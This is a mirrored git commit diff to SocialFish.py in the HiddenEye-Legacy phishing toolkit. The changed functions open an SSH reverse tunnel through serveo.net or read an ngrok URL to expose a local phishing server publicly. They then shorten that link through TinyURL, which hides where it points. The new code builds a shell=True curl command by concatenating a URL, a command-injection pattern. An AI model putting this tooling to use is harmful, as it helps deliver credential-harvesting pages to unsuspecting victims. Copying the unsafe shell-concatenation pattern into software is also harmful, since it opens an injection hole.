mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Update SocialFish.py
This commit is contained in:
parent
16967dbab5
commit
5c5e6ad793
|
@ -294,14 +294,12 @@ def runPEnv():
|
|||
|
||||
def serveo():
|
||||
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
|
||||
sleep(5)
|
||||
sleep(7)
|
||||
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url", shell=True)
|
||||
url = str(output).strip("b ' \ n")
|
||||
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, END, GREEN) + url + "{1}".format(CYAN, END, GREEN))
|
||||
data = urlopen("http://tinyurl.com/api-create.php?url="+url)
|
||||
url = data.read()
|
||||
link = url.decode('utf-8')
|
||||
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, END, GREEN) + link + "{1}".format(CYAN, END, GREEN))
|
||||
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True)
|
||||
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, END, GREEN) + link.decode() + "{1}".format(CYAN, END, GREEN))
|
||||
print("\n")
|
||||
|
||||
def runNgrok():
|
||||
|
@ -314,10 +312,8 @@ def runNgrok():
|
|||
urlFile.close()
|
||||
if re.match("https://[0-9a-z]*\.ngrok.io", url) != None:
|
||||
print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, END, GREEN) + url + "{1}".format(CYAN, END, GREEN))
|
||||
data = urlopen("http://tinyurl.com/api-create.php?url="+url)
|
||||
url = data.read()
|
||||
link = url.decode('utf-8')
|
||||
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, END, GREEN) + link + "{1}".format(CYAN, END, GREEN))
|
||||
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True)
|
||||
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, END, GREEN) + link.decode() + "{1}".format(CYAN, END, GREEN))
|
||||
print("\n")
|
||||
break
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user